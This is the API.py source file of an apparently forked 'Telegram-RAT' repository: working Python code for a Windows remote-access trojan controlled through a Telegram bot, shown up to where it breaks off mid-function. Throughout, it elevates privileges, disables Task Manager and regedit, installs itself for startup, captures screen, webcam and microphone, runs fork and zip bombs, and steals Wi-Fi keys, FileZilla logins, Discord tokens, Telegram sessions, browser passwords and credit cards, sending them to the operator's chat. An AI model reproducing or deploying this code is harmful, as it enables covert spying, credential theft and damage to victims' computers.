forked from 5l1v3r1/Telegram-RAT
-
Notifications
You must be signed in to change notification settings - Fork 0
/
API.py
1425 lines (1016 loc) · 40.5 KB
/
API.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
from RAT import *
from Core.Settings.Organization import *
from Core.Settings.Antivirus import *
from Core.Settings.Admin import *
from Core.Settings.CriticalProcess import *
from Core.Settings.MessageBox import *
from Core.Network.Information import *
from Core.Network.Location import *
from Core.Main.Screen import *
from Core.Main.Webcam import *
from Core.Main.Audio import *
from Core.Main.Power import *
from Core.Main.Autorun import *
from Core.Files.Tasklist import *
from Core.Files.Taskkill import *
from Core.Fun.Message import *
from Core.Fun.Speak import *
from Core.Fun.OpenURL import *
from Core.Fun.Wallpapers import *
from Core.Bomb.ZipBomb import *
from Core.Bomb.ForkBomb import *
from Core.Stealer.Wifi import *
from Core.Stealer.FileZilla import *
from Core.Stealer.Discord import *
from Core.Stealer.Chromium import *
from Core.Stealer.Telegram import *
from Core.Other.Clipboard import *
#from Core.Other.Keylogger import * <-- эта хуйня не работает
from Core.Other.SendKeys import *
from Core.Other.Monitor import *
from Core.Other.Volume import *
from Core.Other.Rotate import *
from Core.Other.Freeze import *
from Core.Other.DVD import *
import telebot
bot = telebot.TeleBot(TelegramToken, threaded=True)
bot.worker_pool = telebot.util.ThreadPool(num_threads=50)
menu = telebot.types.ReplyKeyboardMarkup()
button1 = telebot.types.KeyboardButton('/1\n<<')
button2 = telebot.types.KeyboardButton('/2\n>>')
button3 = telebot.types.KeyboardButton('/Screen\n🖼')
button4 = telebot.types.KeyboardButton('/Webcam\n📸')
button5 = telebot.types.KeyboardButton('/Audio\n🎙')
button6 = telebot.types.KeyboardButton('/Power\n🔴')
button7 = telebot.types.KeyboardButton('/Autorun\n🔵')
menu.row(button1, button3, button2)
menu.row(button4, button5)
menu.row(button6, button7)
main2 = telebot.types.InlineKeyboardMarkup()
button1 = telebot.types.InlineKeyboardButton('Hibernate - 🛑', callback_data='hibernate')
button2 = telebot.types.InlineKeyboardButton('Shutdown - ⛔️', callback_data='shutdown')
button3 = telebot.types.InlineKeyboardButton('Restart - ⭕️', callback_data='restart')
button4 = telebot.types.InlineKeyboardButton('Logoff - 💢', callback_data='logoff')
button5 = telebot.types.InlineKeyboardButton('BSoD - 🌀', callback_data='bsod')
button6 = telebot.types.InlineKeyboardButton('« Back', callback_data='cancel')
main2.row(button1)
main2.row(button2)
main2.row(button3)
main2.row(button4)
main2.row(button5)
main2.row(button6)
main3 = telebot.types.InlineKeyboardMarkup()
button1 = telebot.types.InlineKeyboardButton('Add to Startup - 📥', callback_data='startup')
button2 = telebot.types.InlineKeyboardButton('Uninstall - ♻️', callback_data='confirm')
button3 = telebot.types.InlineKeyboardButton('« Back', callback_data='cancel')
main3.row(button1)
main3.row(button2)
main3.row(button3)
main4 = telebot.types.InlineKeyboardMarkup()
button1 = telebot.types.InlineKeyboardButton('Yes, im sure!', callback_data='uninstall')
button2 = telebot.types.InlineKeyboardButton('Hell no!', callback_data='cancel')
button3 = telebot.types.InlineKeyboardButton('« Back', callback_data='cancel')
main4.row(button1)
main4.row(button2)
main4.row(button3)
main5 = telebot.types.ReplyKeyboardMarkup()
button1 = telebot.types.KeyboardButton('/3\n<<')
button2 = telebot.types.KeyboardButton('/4\n>>')
button3 = telebot.types.KeyboardButton('/Screen\n🖼')
button4 = telebot.types.KeyboardButton('/Files\n💾')
button5 = telebot.types.KeyboardButton('/Tasklist\n📋')
button6 = telebot.types.KeyboardButton('/Taskkill\n📝')
main5.row(button1, button3, button2)
main5.row(button4)
main5.row(button5, button6)
main6 = telebot.types.InlineKeyboardMarkup()
button1 = telebot.types.InlineKeyboardButton('Kill all Processes', callback_data='taskkill all')
button2 = telebot.types.InlineKeyboardButton('Disable Task Manager', callback_data='disabletaskmgr')
main6.row(button1)
main6.row(button2)
main7 = telebot.types.ReplyKeyboardMarkup()
button1 = telebot.types.KeyboardButton('/CD\n🗂')
button2 = telebot.types.KeyboardButton('/Upload\n📡')
button3 = telebot.types.KeyboardButton('/ls\n📄')
button4 = telebot.types.KeyboardButton('/Remove\n🗑')
button5 = telebot.types.KeyboardButton('/Download\n📨')
button6 = telebot.types.KeyboardButton('/Run\n📌')
button7 = telebot.types.KeyboardButton('/Cancel')
main7.row(button1, button2, button3)
main7.row(button4, button5, button6)
main7.row(button7)
main8 = telebot.types.ReplyKeyboardMarkup()
button1 = telebot.types.KeyboardButton('/5\n<<')
button2 = telebot.types.KeyboardButton('/6\n>>')
button3 = telebot.types.KeyboardButton('/Screen\n🖼')
button4 = telebot.types.KeyboardButton('/Message\n💬')
button5 = telebot.types.KeyboardButton('/Speak\n📢')
button6 = telebot.types.KeyboardButton('/OpenURL\n🌐')
button7 = telebot.types.KeyboardButton('/Wallpapers\n🧩')
main8.row(button1, button3, button2)
main8.row(button4, button5)
main8.row(button6, button7)
# Create a folder to save temporary files
CurrentName = os.path.basename(sys.argv[0])
CurrentPath = sys.argv[0]
RAT = [
Directory,
Directory + 'Documents',
Directory + 'Photos'
]
for Directories in RAT:
if not os.path.exists(Directories):
os.makedirs(Directories)
# Run as Administrator
if AdminRightsRequired is True:
if Admin() is False:
while True:
try:
print('[~] › Trying elevate previleges to administrator\n')
os.startfile(CurrentPath, 'runas')
except:
pass
else:
print('[+] › ' + CurrentName + ' opened as admin rights\n')
sys.exit()
# Disables TaskManager
if DisableTaskManager is True:
if os.path.exists(Directory + 'RegeditDisableTaskManager'):
print('[+] › taskmgr.exe is already disabled\n')
else:
if Admin() is False:
print('[-] › This function requires admin rights\n')
if Admin() is True:
RegeditDisableTaskManager()
open(Directory + 'RegeditDisableTaskManager', 'a').close()
print('[+] › taskmgr.exe has been disabled\n')
# Disables Regedit
if DisableRegistryTools is True:
if os.path.exists(Directory + 'RegeditDisableRegistryTools'):
print('[+] › regedit.exe is already disabled\n')
else:
if Admin() is False:
print('[-] › This function requires admin rights\n')
if Admin() is True:
RegeditDisableRegistryTools()
open(Directory + 'RegeditDisableRegistryTools', 'a').close()
print('[+] › regedit.exe has been disabled\n')
# Adds a program to startup
if AutorunEnabled is True:
if SchtasksExists(AutorunName) and InstallPathExists(InstallPath, ProcessName) is True:
print('[+] › ' + CurrentName + ' ‹ is already in startup › ' + InstallPath + ProcessName + '\n')
else:
if Admin() is False:
print('[-] › This function requires admin rights\n')
if Admin() is True:
AddToAutorun(AutorunName, InstallPath, ProcessName)
if not os.path.exists(InstallPath + ProcessName):
try:
CopyToAutorun(CurrentPath, InstallPath, ProcessName)
except:
pass
print('[+] › ' + CurrentName + ' ‹ has been copied to startup › ' + InstallPath + ProcessName + '\n')
# Displays a message on the screen.
if DisplayMessageBox is True:
if not os.path.exists(Directory + 'DisplayMessageBox'):
open(Directory + 'DisplayMessageBox', 'a').close()
MessageBox(Message)
# Protect process with BSoD (if killed).
if ProcessBSODProtectionEnabled is True:
if Admin() is False:
print('[-] › This function requires admin rights\n')
if Admin() is True:
if platform.release() == '10':
Thread(target=ProcessChecker).start()
if platform.release() != '10':
SetProtection()
print('[+] › Process protection has been activated\n')
# Sends an online message
while True:
try:
if Admin() is True:
Online = '🔘 Online!'
if Admin() is False:
Online = '🟢 Online!'
bot.send_message(TelegramChatID,
'\n*' + Online + '\n'
'\nPC » ' + os.getlogin() +
'\nOS » ' + Windows() +
'\n'
'\nAV » ' + Antivirus[0] +
'\n'
'\nIP » ' + Geolocation('query') + '*',
parse_mode='Markdown')
except Exception as e:
print('[-] › Retrying connect to api.telegram.org\n')
print(e)
else:
print('[+] › Connected to api.telegram.org\n')
break
# Takes a screenshot
@bot.message_handler(regexp='/Screen')
def Screen(command):
try:
bot.send_chat_action(command.chat.id, 'upload_photo')
File = Directory + 'Screenshot.jpg'
Screenshot(File)
Screen = open(File, 'rb')
bot.send_photo(command.chat.id, Screen)
except:
pass
# Takes a photo from a webcam
@bot.message_handler(regexp='/Webcam')
def Webcam(command):
try:
bot.send_chat_action(command.chat.id, 'upload_photo')
File = Directory + 'Webcam.jpg'
if os.path.exists(File):
os.remove(File)
WebcamScreenshot(File)
Webcam = open(File, 'rb')
bot.send_photo(command.chat.id, Webcam)
except:
bot.reply_to(command, '_Webcam not found._', parse_mode='Markdown')
# Records microphone sound
@bot.message_handler(regexp='/Audio')
def Audio(command):
try:
Seconds = re.split('/Audio ', command.text, flags=re.I)[1]
bot.send_message(command.chat.id, '_Recording..._', parse_mode='Markdown')
try:
File = Directory + 'Audio.wav'
Microphone(File, Seconds)
Audio = open(File, 'rb')
bot.send_voice(command.chat.id, Audio)
except ValueError:
bot.reply_to(command, '_Specify the recording time in seconds._', parse_mode='Markdown')
except:
bot.reply_to(command, '_Microphone not found._', parse_mode='Markdown')
except:
bot.send_message(command.chat.id, '_Specify the recording duration_\n\n*› /Audio*', parse_mode='Markdown')
# Sends a message
def SendMessage(call, text):
try:
bot.edit_message_text(chat_id=call.message.chat.id, message_id=call.message.message_id, text=text, parse_mode='Markdown')
except:
pass
# Power and startup management
@bot.callback_query_handler(func=lambda call: True)
def CallbackInline(command):
if command.message:
# Hibernate button
if command.data == 'hibernate':
SendMessage(command, '_Hibernate command received!_')
UnsetProtection()
Hibernate()
# Shutdown button
if command.data == 'shutdown':
SendMessage(command, '*Shutdown* command received!')
UnsetProtection()
Shutdown()
# Reboot button
if command.data == 'restart':
SendMessage(command, '*Restart* command received!')
UnsetProtection()
Restart()
# Button that ends a user session
if command.data == 'logoff':
SendMessage(command, '*Logoff* command received!')
UnsetProtection()
Logoff()
# Button killing system with blue screen of death
if command.data == 'bsod':
SendMessage(command, 'The *Blue Screen of Death* has been activated!')
UnsetProtection()
BSoD()
# Button processing which adds a trojan to startup (schtasks)
if command.data == 'startup':
if SchtasksExists(AutorunName) and InstallPathExists(InstallPath, ProcessName) is True:
SendMessage(command, '*' + ProcessName + '* is already in startup.')
else:
if Admin() is False:
SendMessage(command, '_This function requires admin rights._')
if Admin() is True:
AddToAutorun(AutorunName, InstallPath, ProcessName)
if not os.path.exists(InstallPath + ProcessName):
try:
CopyToAutorun(CurrentPath, InstallPath, ProcessName)
except:
pass
SendMessage(command, '*' + ProcessName + '* has been copied to startup!')
# Button processing that confirms the removal of a trojan
if command.data == 'confirm':
bot.edit_message_text(chat_id=command.message.chat.id,
message_id=command.message.message_id, text='_Are you sure?_', reply_markup=main4, parse_mode='Markdown')
# Handling the <<Uninstall>> Button
if command.data == 'uninstall':
SendMessage(command, '*' + CurrentName + '* has been uninstalled!')
Uninstall(AutorunName, InstallPath, ProcessName, CurrentName, CurrentPath, Directory)
# Handling the <<Kill All Processes>> Button
if command.data == 'taskkill all':
SendMessage(command, '_Terminating processes..._')
TaskkillAll(CurrentName)
SendMessage(command, '_All processes has been terminated!_')
# Handling the <<Disable Task Manager>> Button
if command.data == 'disabletaskmgr':
if os.path.exists(Directory + 'RegeditDisableTaskManager'):
SendMessage(command, '*taskmgr.exe* is already disabled.')
else:
if Admin() is False:
SendMessage(command, '_This function requires admin rights._')
if Admin() is True:
RegeditDisableTaskManager()
open(Directory + 'RegeditDisableTaskManager', 'a').close()
SendMessage(command, '*taskmgr.exe* has been disabled!')
# Handling the <<Back>> Button
if command.data == 'cancel':
SendMessage(command, '`...`')
# Browse and switch directories
@bot.message_handler(regexp='/CD')
def CD(command):
try:
Path = re.split('/CD ', command.text, flags=re.I)[1]
os.chdir(Path)
bot.send_message(command.chat.id, '_Directory Changed!_\n\n`' + os.getcwd() + '`', parse_mode='Markdown')
except FileNotFoundError:
bot.reply_to(command, '_Directory not found._', parse_mode='Markdown')
except:
bot.send_message(command.chat.id, '_Current Directory_\n\n`' + os.getcwd() + '`\n\n_Username_\n\n`' + os.getlogin() + '`', parse_mode='Markdown')
# List of files from a directory
@bot.message_handler(regexp='/ls')
def ls(command):
try:
Dirs = '\n``'.join(os.listdir())
bot.send_message(command.chat.id, '`' + os.getcwd() + '`\n\n' + '`' + Dirs + '`', parse_mode='Markdown')
except:
try:
Dirse = '\n'.join(os.listdir())
SplittedText = telebot.util.split_string(Dirse, 4096)
for Dirse in SplittedText:
bot.send_message(command.chat.id, '`' + Dirse + '`', parse_mode='Markdown')
except PermissionError:
bot.reply_to(command, '_Permission denied._', parse_mode='Markdown')
# Deletes a user selected file
@bot.message_handler(commands=['Remove', 'remove'])
def Remove(command):
try:
File = re.split('/Remove ', command.text, flags=re.I)[1]
Created = os.path.getctime(os.getcwd() + '\\' + File)
Year, Month, Day, Hour, Minute, Second=time.localtime(Created)[:-3]
def ConvertBytes(num):
for x in ['bytes', 'KB', 'MB', 'GB', 'TB']:
if num < 1024.0:
return '%3.1f %s' % (num, x)
num /= 1024.0
def FileSize(FilePath):
if os.path.isfile(FilePath):
FileInfo = os.stat(FilePath)
return ConvertBytes(FileInfo.st_size)
bot.send_message(command.chat.id,
'File *' + File + '* removed!'
'\n'
'\n*Created* » `%02d/%02d/%d'%(Day, Month, Year) + '`' +
'\n*Size* » `' + FileSize(os.getcwd() + '\\' + File) + '`',
parse_mode='Markdown')
os.remove(os.getcwd() + '\\' + File)
except:
try:
File = re.split('/Remove ', command.text, flags=re.I)[1]
Created = os.path.getctime(os.getcwd() + '\\' + File)
Year, Month, Day, Hour, Minute, Second=time.localtime(Created)[:-3]
Folder = os.getcwd() + '\\' + File
FolderSize = 0
for (Path, Dirs, Files) in os.walk(Folder):
for iFile in Files:
FileName = os.path.join(Path, iFile)
FolderSize += os.path.getsize(FileName)
Files = Folders = 0
for _, DirNames, FileNames in os.walk(os.getcwd() + '\\' + File):
Files += len(FileNames)
Folders += len(DirNames)
shutil.rmtree(os.getcwd() + '\\' + File)
bot.send_message(command.chat.id,
'Folder *' + File + '* removed!'
'\n'
'\n*Created* » `%02d/%02d/%d'%(Day, Month, Year) + '`' +
'\n*Size* » `%0.1f MB' % (FolderSize/(1024*1024.0)) + '`' +
'\n*Contained* » `' + '{:,} Files, {:,} Folders'.format(Files, Folders) + '`',
parse_mode='Markdown')
except FileNotFoundError:
bot.reply_to(command, '_File not found._', parse_mode='Markdown')
except PermissionError:
bot.reply_to(command, '_Permission denied._', parse_mode='Markdown')
except:
bot.send_message(command.chat.id, '_Enter a file name_\n\n*› /Remove • /RemoveAll*', parse_mode='Markdown')
# Deletes all files from the directory
@bot.message_handler(commands=['RemoveAll', 'removeall'])
def RemoveAll(command):
try:
bot.send_message(command.chat.id, '_Removing files..._', parse_mode='Markdown')
FolderSize = 0
for (Path, Dirs, Files) in os.walk(os.getcwd()):
for File in Files:
FileNames = os.path.join(Path, File)
FolderSize += os.path.getsize(FileNames)
Files = Folders = 0
for _, DirNames, FileNames in os.walk(os.getcwd()):
Files += len(FileNames)
Folders += len(DirNames)
list = os.listdir(os.getcwd())
a = len(list)
for FileNames in os.listdir(os.getcwd()):
FilePath = os.path.join(os.getcwd(), FileNames)
try:
if os.path.isfile(FilePath) or os.path.islink(FilePath):
os.unlink(FilePath)
elif os.path.isdir(FilePath):
shutil.rmtree(FilePath)
except:
pass
list = os.listdir(os.getcwd())
b = len(list)
c = (a - b)
bot.reply_to(command,
'Removed *' + str(c) + '* files out of *' + str(a) + '!*'
'\n'
'\nSize » `%0.1f MB' % (FolderSize/(1024*1024.0)) + '`' +
'\nContained » `' + '{:,} Files, {:,} Folders'.format(Files, Folders) + '`',
parse_mode='Markdown')
except:
pass
# Upload a file to a connected computer (URL)
@bot.message_handler(regexp='/Upload')
def Upload(command):
try:
URL = re.split('/Upload ', command.text, flags=re.I)[1]
bot.send_message(command.chat.id, '_Uploading file..._', parse_mode='Markdown')
Filename = os.getcwd() + '\\' + os.path.basename(URL)
r = urllib.request.urlretrieve(URL, Filename)
bot.reply_to(command, '_File uploaded to computer!_\n\n`' + Filename + '`', parse_mode='Markdown')
except ValueError:
bot.reply_to(command, '_Insert a direct download link._', parse_mode='Markdown')
except:
bot.send_message(command.chat.id, '_Send file or paste URL_\n\n*› /Upload*', parse_mode='Markdown')
# Download a file to a connected computer (Message)
@bot.message_handler(content_types=['document'])
def Document(command):
try:
File = bot.get_file(command.document.file_id)
bot.send_message(command.chat.id, '_Uploading file..._', parse_mode='Markdown')
DownloadedFile = bot.download_file(File.file_path)
Source = Directory + File.file_path;
with open(Source, 'wb') as NewFile:
NewFile.write(DownloadedFile)
Final = os.getcwd() + '\\' + Source.split(File.file_path)[1] + command.document.file_name
shutil.move(Source, Final)
bot.reply_to(command, '_File uploaded to computer!_\n\n`' + Final + '`', parse_mode='Markdown')
except FileNotFoundError:
bot.reply_to(command, '_File format is not supported._', parse_mode='Markdown')
except OSError:
bot.reply_to(command, '_Try saving the file in a different directory._', parse_mode='Markdown')
except:
bot.reply_to(command, '_You cannot upload a file larger than 20 MB._', parse_mode='Markdown')
# Download the file selected by the user
@bot.message_handler(regexp='/Download')
def Download(command):
try:
File = re.split('/Download ', command.text, flags=re.I)[1]
Download = open(os.getcwd() + '\\' + File, 'rb')
bot.send_message(command.chat.id, '_Sending file..._', parse_mode='Markdown')
bot.send_document(command.chat.id, Download)
except FileNotFoundError:
bot.reply_to(command, '_File not found._', parse_mode='Markdown')
except:
try:
File = re.split('/Download ', command.text, flags=re.I)[1]
bot.send_message(command.chat.id, '_Archiving..._', parse_mode='Markdown')
shutil.make_archive(Directory + File,
'zip',
os.getcwd() + '\\',
File)
iFile = open(Directory + File + '.zip', 'rb')
bot.send_message(command.chat.id, '_Sending folder..._', parse_mode='Markdown')
bot.send_document(command.chat.id, iFile)
iFile.close()
os.remove(Directory + File + '.zip')
except PermissionError:
bot.reply_to(command, '_Permission denied._', parse_mode='Markdown')
except:
try:
iFile.close()
os.remove(Directory + File + '.zip')
bot.reply_to(command, '_You cannot download a file larger than 50 MB._', parse_mode='Markdown')
except:
bot.send_message(command.chat.id, '_Enter a file name_\n\n*› /Download*', parse_mode='Markdown')
# Runs the file selected by the user
@bot.message_handler(commands=['Run', 'run'])
def Run(command):
try:
File = re.split('/Run ', command.text, flags=re.I)[1]
os.startfile(os.getcwd() + '\\' + File)
bot.reply_to(command, 'File *' + File + '* has been running!', parse_mode='Markdown')
except FileNotFoundError:
bot.reply_to(command, '_File not found._', parse_mode='Markdown')
except OSError:
bot.reply_to(command, '_File isolated by the system and cannot be running._', parse_mode='Markdown')
except:
bot.send_message(command.chat.id, '_Enter a file name_\n\n*› /Run • /RunAS*', parse_mode='Markdown')
# Runs the file selected by the user as administrator
@bot.message_handler(commands=['RunAS', 'runas'])
def RunAS(command):
try:
File = re.split('/RunAS ', command.text, flags=re.I)[1]
os.startfile(os.getcwd() + '\\' + File, 'runas')
bot.reply_to(command, 'File *' + File + '* has been running!', parse_mode='Markdown')
except FileNotFoundError:
bot.reply_to(command, '_File not found._', parse_mode='Markdown')
except OSError:
bot.reply_to(command, '_Acces denied._', parse_mode='Markdown')
except:
bot.send_message(command.chat.id, '_Enter a file name_\n\n*› /Run • /RunAS*', parse_mode='Markdown')
# Gets a list of active processes
@bot.message_handler(regexp='/Tasklist')
def Tasklist(command):
bot.send_message(command.chat.id, '`' + ProcessList() + '`', parse_mode='Markdown')
# Kills the user selected process
@bot.message_handler(regexp='/Taskkill')
def Taskkill(command):
try:
Process = re.split('/Taskkill ', command.text, flags=re.I)[1]
KillProcess(Process)
if not Process.endswith('.exe'):
Process = Process + '.exe'
bot.reply_to(command, 'The process *' + Process + '* has been stopped!', parse_mode='Markdown')
except:
bot.send_message(command.chat.id,
'_Enter process name_'
'\n'
'\n*› /Taskkill*'
'\n'
'\n_Active Window_'
'\n'
'\n`' + WindowTitle() + '`',
reply_markup=main6, parse_mode='Markdown')
# Displays text sent by user
@bot.message_handler(regexp='/Message')
def Message(command):
try:
Message = re.split('/Message ', command.text, flags=re.I)[1]
bot.reply_to(command, '_The message has been sended!_', parse_mode='Markdown')
SendMessageBox(Message)
except:
bot.send_message(command.chat.id, '_Enter your message_\n\n*› /Message*', parse_mode='Markdown')
# Speak text
@bot.message_handler(regexp='/Speak')
def Speak(command):
try:
Text = re.split('/Speak ', command.text, flags=re.I)[1]
bot.send_message(command.chat.id, '_Speaking..._', parse_mode='Markdown')
try:
SpeakText(Text)
bot.reply_to(command, '_Successfully!_', parse_mode='Markdown')
except:
bot.reply_to(command, '_Failed to speak text._', parse_mode='Markdown')
except:
bot.send_message(command.chat.id, '_Enter your text_\n\n*› /Speak*', parse_mode='Markdown')
# Opens a link from a standard browser
@bot.message_handler(regexp='/OpenURL')
def OpenURL(command):
try:
URL = re.split('/OpenURL ', command.text, flags=re.I)[1]
OpenBrowser(URL)
bot.reply_to(command, '_The URL has been opened!_', parse_mode='Markdown')
except:
bot.send_message(command.chat.id, '_Enter your URL_\n\n*› /OpenURL*', parse_mode='Markdown')
# Sets the desktop wallpaper
@bot.message_handler(content_types=['photo'])
def Wallpapers(command):
Photo = bot.get_file(command.photo[len(command.photo)-1].file_id)
File = bot.get_file(command.photo[len(command.photo)-1].file_id)
DownloadedFile = bot.download_file(File.file_path)
Source = Directory + File.file_path;
with open(Source, 'wb') as new_file:
new_file.write(DownloadedFile)
SetWallpapers(Photo, Directory)
bot.reply_to(command, '_ The Photo has been set on the Wallpapers!_', parse_mode='Markdown')
# Infinite start CMD.exe
@bot.message_handler(regexp='/ForkBomb')
def ForkBomb(command):
bot.send_message(command.chat.id, '_Preparing ForkBomb..._', parse_mode='Markdown')
Forkbomb()
# Endless file creation
@bot.message_handler(regexp='/ZipBomb')
def ZipBomb(command):
bot.send_message(command.chat.id, '_Preparing ZipBomb..._', parse_mode='Markdown')
Zipbomb()
# Gets Wifi Password
@bot.message_handler(regexp='/WiFi')
def WiFi(command):
try:
bot.send_message(command.chat.id,
'_Received Wi-Fi Data_'
'\n'
'\n*SSID* » `' + StealWifiPasswords()['SSID'] + '`' +
'\n*AUTH* » `' + StealWifiPasswords()['AUTH'] + '`' +
'\n*Cipher* » `' + StealWifiPasswords()['Cipher'] + '`' +
'\n*Security Key* » `' + StealWifiPasswords()['SecurityKey'] + '`' +
'\n*Password* » `' + StealWifiPasswords()['Password'] + '`',
parse_mode='Markdown')
except:
bot.reply_to(command, '_Failed to authenticate Wi-Fi._', parse_mode='Markdown')
# Gets FileZilla Password
@bot.message_handler(regexp='/FileZilla')
def FileZilla(command):
try:
bot.send_message(command.chat.id,
'_Received FileZilla Data_'
'\n'
'\n*Hostname* » `' + StealFileZilla()['Hostname'] + '`' +
'\n*Username* » `' + StealFileZilla()['Username'] + '`' +
'\n*Password* » `' + StealFileZilla()['Password'] + '`',
parse_mode='Markdown')
except:
bot.reply_to(command, '_FileZilla not installed._', parse_mode='Markdown')
# Gets Discord Token
@bot.message_handler(regexp='/Discord')
def Discord(command):
try:
bot.send_message(command.chat.id, '*Discord Token*\n\n`' + DiscordToken() + '`', parse_mode='Markdown')
except:
bot.reply_to(command, '_Discord not installed._', parse_mode='Markdown')
# Gets the user current telegram session
@bot.message_handler(regexp='/Telegram')
def Telegram(command):
try:
bot.send_chat_action(command.chat.id, 'upload_document')
TelegramSession(Directory)
Telegram = open(Directory + 'tdata.zip', 'rb')
bot.send_document(command.chat.id, Telegram)
except:
bot.reply_to(command, '_Telegram not installed._', parse_mode='Markdown')
# Retrieves saved passwords from browsers (Opera, Chrome)
@bot.message_handler(regexp='/CreditCards')
def CreditCards(command):
try:
bot.send_chat_action(command.chat.id, 'upload_document')
with open(Directory + 'CreditCards.txt', 'w', encoding='utf-8') as f:
f.writelines(GetFormattedCreditCards())
CreditCards = open(Directory + 'CreditCards.txt', 'rb')
bot.send_document(command.chat.id, CreditCards)
except:
bot.reply_to(command, '_CreditCards not found._', parse_mode='Markdown')
# Retrieves saved passwords from browsers (Opera, Chrome)
@bot.message_handler(regexp='/Bookmarks')
def Bookmarks(command):
try:
bot.send_chat_action(command.chat.id, 'upload_document')
with open(Directory + 'Bookmarks.txt', 'w', encoding='utf-8') as f:
f.writelines(GetFormattedBookmarks())
Bookmarks = open(Directory + 'Bookmarks.txt', 'rb')
bot.send_document(command.chat.id, Bookmarks)
except:
bot.reply_to(command, '_Bookmarks not found._', parse_mode='Markdown')
# Retrieves saved passwords from browsers (Opera, Chrome)
@bot.message_handler(regexp='/Passwords')
def Passwords(command):
try:
bot.send_chat_action(command.chat.id, 'upload_document')
with open(Directory + 'Passwords.txt', 'w', encoding='utf-8') as f:
f.writelines(GetFormattedPasswords())
Passwords = open(Directory + 'Passwords.txt', 'rb')
bot.send_document(command.chat.id, Passwords)
except:
bot.reply_to(command, '_Passwords not found._', parse_mode='Markdown')
# Retrieves saved cookies from browsers (Opera, Chrome)
@bot.message_handler(regexp='/Cookies')
def Cookies(command):
try:
bot.send_chat_action(command.chat.id, 'upload_document')
with open(Directory + 'Cookies.txt', 'w', encoding='utf-8') as f:
f.writelines(GetFormattedCookies())